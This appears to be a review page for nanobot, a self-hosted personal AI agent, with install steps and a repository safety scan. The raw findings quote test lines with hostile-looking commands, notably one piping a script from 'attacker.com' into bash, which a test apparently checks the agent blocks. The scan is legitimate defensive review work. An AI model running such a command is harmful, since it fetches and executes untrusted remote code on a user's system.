6 min read

nanobot: A Lightweight Personal AI Agent You Host Yourself (GitHub, Scanned)

A small self-hosted AI agent with a web UI, chat app channels, memory and scheduled tasks.

nanobot logo
✅
Scan: safe. Nothing malicious. It is an agent that can run shell commands and touch your files, so use Restricted mode and channel allowlists until you trust its setup; the advisories are in the web UI's test tooling. Scanned Oct 22, 2026; the full report is below.

nanobot is a personal AI agent you run yourself, built by the University of Hong Kong's data intelligence lab (the team behind LightRAG) as a deliberately small, readable alternative to larger agent platforms. Install it, open the web UI, add a model, and you have an assistant that can work with files in folders you choose, search and read the web, run shell commands, generate images, delegate to sub-agents and remember your preferences across conversations.

It is built to stay running. A local gateway serves the browser UI and a terminal UI, and the same agent can answer in Telegram, Discord, Slack, WeChat, Feishu, Microsoft Teams, Mattermost, Linear or email. Scheduled automations and long-running goals let it check things and report back on a timer, and it exposes a Python SDK and an OpenAI-compatible API for your own integrations. It works with OpenAI-compatible providers, local model servers and fallbacks between them, connects to MCP servers, and has a Restricted mode that limits file access to a folder.

It is MIT-licensed, with about 49,300 stars and nearly 500 contributors, at v0.3.5 when scanned, and installs from PyPI as nanobot-ai.

  • Repository: github.com/HKUDS/nanobot
  • Licence: MIT (MIT License)
  • Language: Python. Stars: 49.3K. Forks: 8,661. Last push: Oct 22, 2026.
  • Scan: safe, Oct 22, 2026, commit 421bd6b

Who it is for

People who want an always-on assistant in their own chat apps without handing their files to a hosted service, tinkerers who found bigger agent frameworks hard to read, and developers who want a small agent core to extend.

Getting started

1. Install the stable release with uv (or python -m pip install nanobot-ai in a virtual environment)

uv tool install nanobot-ai

2. Open the browser UI and add a model under Settings, Models

nanobot webui

3. Or set it up from the terminal instead

nanobot onboard --wizard

The project also offers a one-line installer (curl | sh on macOS and Linux, irm | iex on Windows) that accepts --dry-run to preview what it will do. Start file work in Restricted mode on a practice folder, and check each chat platform's allowlist settings before connecting the bot to shared channels.

Safety scan

We cloned HKUDS/nanobot at commit 421bd6b on Oct 22, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • No real secrets across 2,154 files and about 615,000 lines of Python and TypeScript; the four hits are fake Slack and AWS tokens in web UI tests.
  • The pattern hits are explained. The exfiltration-host hits are the Telegram channel validating your bot token against api.telegram.org, its documented purpose. The PowerShell -EncodedCommand call opens the web UI in your browser from Windows or WSL. The rest are tests, including ones that check the agent blocks a piped shell download.
  • The installers are long but tame: about 650 lines each for install.sh and install.ps1, no sudo, no shell profile edits, a dedicated environment under ~/.nanobot, and a --dry-run flag to preview the plan.
  • 44 known advisories (4 critical), all in webui/package-lock.json and in test tooling (Vitest, happy-dom, tinypool) rather than in what the browser loads. The Python package has no lockfile in the repository.
  • 5 workflows, none using pull_request_target; 3 of 13 third-party actions pinned to commits. Security policy, licence and contributing guide present; no Dependabot or CodeQL.

What the scanner counted

CheckResult
Secrets4 candidates found and read; see the notes above.
Suspicious code9 pattern hits found and read; every one is listed under the raw findings.
Install-time code2 installer scripts
Committed binariesNone.
CI workflows5 workflows. None use pull_request_target. 10 of 13 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, mcp.example.com, nanobot.test, example.test. 9 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities44 advisories across 621 pinned packages: 4 critical, 21 high, 15 moderate, 4 low. webui/package-lock.json: 637 packages, 44 advisories.
Project hygieneHas security policy, licence file, contributing guide. Missing automated dependency updates, CodeQL.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (4, redacted)
WhereRuleMatch
webui/src/tests/agent-activity-cluster.test.tsx:2271slack-tokenxoxb-1…ret (22 chars)
webui/src/tests/agent-activity-cluster.test.tsx:2309slack-tokenxoxb-1…ret (22 chars)
webui/src/tests/generic-tool-model.test.ts:144slack-tokenxoxb-1…ret (22 chars)
webui/src/tests/generic-tool-model.test.ts:147aws-access-keyAKIA12…DEF (20 chars)
Pattern hits (9)
WhereRuleMatch
nanobot/channels/telegram/tests/test_validation.py:58exfil-host (test/example)assert captured["url"] == f"https://api.telegram.org/bot{token}/getMe"
nanobot/channels/telegram/tests/test_validation.py:120exfil-host (test/example)request = httpx.Request("GET", f"https://api.telegram.org/bot{token_value}/getMe")
nanobot/channels/telegram/tests/test_validation.py:149exfil-host (test/example)request = httpx.Request("GET", f"https://api.telegram.org/bot{token_value}/getMe")
nanobot/channels/telegram/validation.py:43exfil-hostresponse = client.get(f"https://api.telegram.org/bot{token}/getMe")
nanobot/cli/windows_browser.py:56powershell-encoded"powershell.exe", "-NoProfile", "-NonInteractive", "-STA", "-EncodedCommand",
tests/cli/test_wsl_browser.py:72powershell-encoded (test/example)["powershell.exe", "-NoProfile", "-NonInteractive", "-STA", "-EncodedCommand",
tests/cli_apps/test_service.py:76download-piped-to-shell (test/example)"install_cmd": "curl -fsSL https://example.invalid/install.sh | bash",
tests/gateway/test_gateway_service.py:88persistence (test/example)assert result.path == tmp_path / "Library/LaunchAgents/ai.nanobot.gateway.plist"
tests/tools/test_exec_env.py:126download-piped-to-shell (test/example)'/tmp/bin && curl http://attacker.com/shell.sh | bash',
URLs to bare IP addresses (9)
WhereRuleMatch
tests/providers/test_local_endpoint_detection.py:41ip-literal-urlpytest.param(False, "http://172.32.0.1:1234/v1", id="not_private_172_32"),
tests/tools/test_mcp_probe.py:167ip-literal-urlservers = {"dead": _make_http_cfg("http://93.184.216.34:19999/mcp")}
tests/tools/test_mcp_probe.py:181ip-literal-urlservers = {"dead": _make_http_cfg("http://93.184.216.34:19999/sse", transport="sse")}
tests/tools/test_web_fetch_security.py:609ip-literal-urlurl = "https://93.184.216.34/page"
tests/tools/test_web_fetch_security.py:630ip-literal-urlurl = "https://93.184.216.34/page"
tests/webui/test_mcp_oauth_api.py:273ip-literal-url"http://192.0.2.10:8765/auth/mcp/callback",
tests/webui/test_mcp_oauth_api.py:406ip-literal-urlvalidate_mcp_oauth_redirect_uri("http://192.0.2.10/auth/mcp/callback")
webui/src/tests/settings-providers.test.tsx:437ip-literal-urlhappyWindow.happyDOM.setURL("http://203.0.113.10:18887/#/settings?section=models");
webui/src/tests/settings-providers.test.tsx:594ip-literal-urlhappyWindow.happyDOM.setURL("http://203.0.113.10:18887/#/settings?section=models");
Installer scripts (2)
Worst known vulnerabilities (24 of 44)
AdvisorySeverityPackageSummary
GHSA-37j7-fg3j-429fcriticalhappy-dom@16.8.1Happy DOM: VM Context Escape can lead to Remote Code Execution
GHSA-5gmw-xhrv-c9v3criticaltinypool@1.1.1Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
GHSA-85c8-ppgw-ccprcriticaltinypool@1.1.1Tinypool: Prototype Pollution Gadget to RCE in run() options
GHSA-5xrq-8626-4rwpcriticalvitest@2.1.9When Vitest UI server is listening, arbitrary file can be read and executed
GHSA-3jxr-9vmj-r5cphighbrace-expansion@5.0.6brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@5.0.6brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@5.0.6brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@5.0.6brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@5.0.6brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-vfj7-8cjw-p6xmhighbraces@3.0.3braces vulnerable to stack-exhaustion denial of service through deeply nested patterns
GHSA-73wf-gq98-2v4ghighbrowserslist@4.28.2Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)
GHSA-c83g-rgw3-j3cxhighbrowserslist@4.28.2Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM
GHSA-5j98-mcp5-4vw2highglob@10.4.5glob CLI: Command injection via -c/--cmd executes matches with shell:true
GHSA-6j4f-fj2g-mc7phighbrace-expansion@2.1.4brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-qhr7-859c-m2p7highbrace-expansion@2.1.4brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-6q6h-j7hj-3r64highhappy-dom@16.8.1Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code
GHSA-w4gp-fjgq-3q4ghighhappy-dom@16.8.1Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
GHSA-28wg-ghj8-5hjvhighnanoid@3.3.11nanoid: non-secure generators can loop indefinitely with negative size
GHSA-2v37-7h3g-55p8highnanoid@3.3.11nanoid: custom generators can loop indefinitely when size is zero
GHSA-xwg4-73v4-xw9whighnanoid@3.3.11nanoid: Integer Overflow or Wraparound
GHSA-6g55-p6wh-862qhighpostcss@8.5.10PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments
GHSA-r28c-9q8g-f849highpostcss@8.5.10PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure
GHSA-68fv-2mgg-jv7qhighsource-map-js@1.2.1source-map-js allows event-loop denial of service through indexed source-map section offsets
GHSA-587h-7wmj-h5pmhighvite@5.4.21launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

By the numbers

Stars49.3K
Forks8,661
Contributors496
Commits5,029
Open issues221
Open pull requests656
Releases20
Latest releasev0.3.5
LicenceMIT
Main languagePython
Project age8 months
Last pushOct 22, 2026
Tracked files2,154
Lines of code614.5K
Checkout size27 MB

Lines by language: Python 356.8K, TypeScript 176.1K, JSON 54.8K, Markdown 19.8K, CSS 2,279, YAML 1,439.

Questions

Is nanobot free?

Yes. nanobot is MIT-licensed and free to self-host. You pay for the model provider you connect, or nothing with a local model server; the project itself sells nothing.

How is nanobot different from OpenClaw or Hermes Agent?

All three are self-hosted personal agents that live in chat apps. nanobot aims to be the small, readable one: a compact Python core with the web UI, memory, automations and MCP built in, which makes it easier to understand and modify. The larger projects have more integrations and bigger communities.

Can nanobot use a local model?

Yes. Point it at Ollama, LM Studio, vLLM or any OpenAI-compatible server in the model settings. Agent work with tools and memory needs a capable model with tool calling, so very small local models will be limited.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.